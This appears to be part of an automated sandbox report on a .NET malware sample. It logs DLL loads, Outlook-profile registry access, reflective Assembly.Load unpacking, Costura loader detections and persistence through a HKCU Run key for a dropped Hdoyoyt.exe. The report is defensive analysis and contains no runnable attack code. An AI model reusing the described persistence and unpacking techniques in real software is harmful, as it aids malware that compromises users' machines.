Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: mscoree.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: version.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: amsi.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: vaultcli.dll
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Section loaded: wintypes.dll

Source: C:\Users\user\Desktop\Doc6078451035.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0EE7644B-1BAD-48B1-9889-0281C206EB85}\InprocServer32

Jump to behavior

Source: C:\Users\user\Desktop\Doc6078451035.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Users\user\Desktop\Doc6078451035.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\11.0\Outlook\Profiles

Jump to behavior

Source: Doc6078451035.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: Doc6078451035.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdbSHA256e source: Doc6078451035.exe, 00000000.00000002.1966878784.0000000004081000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1972573626.0000000005250000.00000004.08000000.00040000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003FCA000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1965317713.000000000274F000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2447296068.000000000373A000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2518748414.0000000003796000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2524754237.000000000508F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: C:\Users\dahall\Documents\GitHubRepos\TaskScheduler\TaskService\obj\Release\net40\Microsoft.Win32.TaskScheduler.pdb source: Doc6078451035.exe, 00000000.00000002.1966878784.0000000004081000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1972573626.0000000005250000.00000004.08000000.00040000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003FCA000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1965317713.000000000274F000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2447296068.000000000373A000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2518748414.0000000003796000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2524754237.000000000508F000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: Doc6078451035.exe, 00000000.00000002.1965317713.00000000025D1000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003E67000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003F47000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1976938581.00000000062B0000.00000004.08000000.00040000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2447296068.0000000003557000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2518748414.0000000003591000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: Doc6078451035.exe, 00000000.00000002.1965317713.00000000025D1000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003E67000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1966878784.0000000003F47000.00000004.00000800.00020000.00000000.sdmp, Doc6078451035.exe, 00000000.00000002.1976938581.00000000062B0000.00000004.08000000.00040000.00000000.sdmp, Hdoyoyt.exe, 00000005.00000002.2447296068.0000000003557000.00000004.00000800.00020000.00000000.sdmp, Hdoyoyt.exe, 00000007.00000002.2518748414.0000000003591000.00000004.00000800.00020000.00000000.sdmp

Data Obfuscation

.NET source code contains potential unpacker

Source: Doc6078451035.exe, StructCallbackReader.cs	.Net Code: DefineSetter System.Reflection.Assembly.Load(byte[])
Source: Hdoyoyt.exe.0.dr, StructCallbackReader.cs	.Net Code: DefineSetter System.Reflection.Assembly.Load(byte[])
Source: 0.2.Doc6078451035.exe.4031500.10.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.Doc6078451035.exe.4031500.10.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.Doc6078451035.exe.4031500.10.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 0.2.Doc6078451035.exe.5250000.17.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.Doc6078451035.exe.5250000.17.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.Doc6078451035.exe.5250000.17.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties
Source: 0.2.Doc6078451035.exe.3f475e0.5.raw.unpack, TypeModel.cs	.Net Code: TryDeserializeList
Source: 0.2.Doc6078451035.exe.3f475e0.5.raw.unpack, ListDecorator.cs	.Net Code: Read
Source: 0.2.Doc6078451035.exe.3f475e0.5.raw.unpack, TypeSerializer.cs	.Net Code: CreateInstance
Source: 0.2.Doc6078451035.exe.3f475e0.5.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateInstance
Source: 0.2.Doc6078451035.exe.3f475e0.5.raw.unpack, TypeSerializer.cs	.Net Code: EmitCreateIfNull
Source: 0.2.Doc6078451035.exe.40cfd40.7.raw.unpack, StructCallbackReader.cs	.Net Code: DefineSetter System.Reflection.Assembly.Load(byte[])
Source: 0.2.Doc6078451035.exe.4081520.3.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.Doc6078451035.exe.4081520.3.raw.unpack, ReflectionHelper.cs	.Net Code: InvokeMethod
Source: 0.2.Doc6078451035.exe.4081520.3.raw.unpack, XmlSerializationHelper.cs	.Net Code: ReadObjectProperties

Yara detected Costura Assembly Loader

Source: Yara match	File source: 5.2.Hdoyoyt.exe.4d27b60.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Hdoyoyt.exe.4cd7b40.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.Hdoyoyt.exe.4d87b60.11.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.Hdoyoyt.exe.4d37b40.15.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.Hdoyoyt.exe.4d0fb20.10.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Doc6078451035.exe.3dc7b60.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.Hdoyoyt.exe.4d0fb20.10.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Doc6078451035.exe.268573c.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.Hdoyoyt.exe.4d37b40.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Hdoyoyt.exe.4cd7b40.11.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Doc6078451035.exe.3d77b40.15.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Hdoyoyt.exe.35e5738.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Doc6078451035.exe.268573c.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Hdoyoyt.exe.4cafb20.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Doc6078451035.exe.3d4fb20.9.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Hdoyoyt.exe.4dc7b80.13.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.Hdoyoyt.exe.364148c.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Doc6078451035.exe.3d77b40.15.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.Hdoyoyt.exe.4e27b80.14.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Hdoyoyt.exe.4cafb20.12.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Doc6078451035.exe.6240000.19.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.Hdoyoyt.exe.364148c.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Doc6078451035.exe.3d4fb20.9.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0.2.Doc6078451035.exe.3e67b80.12.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.Hdoyoyt.exe.35e5738.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000000.00000002.1976677869.0000000006240000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2524754237.0000000004D37000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1966878784.0000000003E67000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2518748414.000000000346F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2447296068.0000000003557000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2524754237.0000000004E27000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2451731100.0000000004D27000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2451731100.0000000004CAF000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2451731100.0000000004DC7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2451731100.0000000004CD7000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1966878784.0000000003AC9000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2447296068.000000000332E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2524754237.0000000004D0F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2524754237.0000000004D87000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000002.2518748414.0000000003591000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1965317713.00000000025D1000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000000.00000002.1965317713.00000000023CE000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: Doc6078451035.exe PID: 6828, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Hdoyoyt.exe PID: 6016, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: Hdoyoyt.exe PID: 3336, type: MEMORYSTR

Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 4_2_03040C55 push edi; retf	4_2_03040C7A
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 4_2_06D6FBDD push es; iretd	4_2_06D6FBE0
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 4_2_06D6FBCD push es; iretd	4_2_06D6FBDC
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 4_2_06D6FBC9 push es; iretd	4_2_06D6FBCC
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 4_2_06D6FB99 push es; iretd	4_2_06D6FBC8
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 4_2_06D6FB55 push es; iretd	4_2_06D6FB5C
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 4_2_06D6FB44 push es; iretd	4_2_06D6FB48
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 4_2_06D6FB49 push es; iretd	4_2_06D6FB54
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 4_2_06D6FB71 push es; iretd	4_2_06D6FB7C
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 4_2_06D6FB7D push es; iretd	4_2_06D6FB88
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 4_2_06D6FB6D push es; iretd	4_2_06D6FB70
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 4_2_06D6FB10 push es; iretd	4_2_06D6FB1C
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 4_2_06D6FB1D push es; iretd	4_2_06D6FB20
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 4_2_06D6FB21 push es; iretd	4_2_06D6FB24
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 4_2_06D78438 push ebx; iretd	4_2_06D7843A
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 4_2_06D78853 push esi; iretd	4_2_06D78856
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 4_2_06D78850 push edi; iretd	4_2_06D78852
Source: C:\Users\user\Desktop\Doc6078451035.exe	Code function: 4_2_06D7498B push ss; iretd	4_2_06D7498E
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 5_2_060B1058 push es; retf	5_2_060B106C
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 8_2_006E0C55 push edi; retf	8_2_006E0C7A
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 8_2_060AFB10 push es; iretd	8_2_060AFB20
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 8_2_060AFBCD push es; iretd	8_2_060AFBDC
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 10_2_06745150 push es; ret	10_2_06745160
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 10_2_0674FB7B push es; iretd	10_2_0674FB7C
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 10_2_0674FB6F push es; iretd	10_2_0674FB70
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 10_2_0674FB53 push es; iretd	10_2_0674FB54
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 10_2_0674FB5B push es; iretd	10_2_0674FB5C
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 10_2_0674FB47 push es; iretd	10_2_0674FB48
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 10_2_0674FB23 push es; iretd	10_2_0674FB24
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 10_2_0674FB1F push es; iretd	10_2_0674FB20
Source: C:\Users\user\AppData\Roaming\Hdoyoyt.exe	Code function: 10_2_0674FB1B push es; iretd	10_2_0674FB1C

Source: C:\Users\user\Desktop\Doc6078451035.exe

File created: C:\Users\user\AppData\Roaming\Hdoyoyt.exe

Jump to dropped file

Source: C:\Users\user\Desktop\Doc6078451035.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Hdoyoyt			Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Hdoyoyt			Jump to behavior

Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\Doc6078451035.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
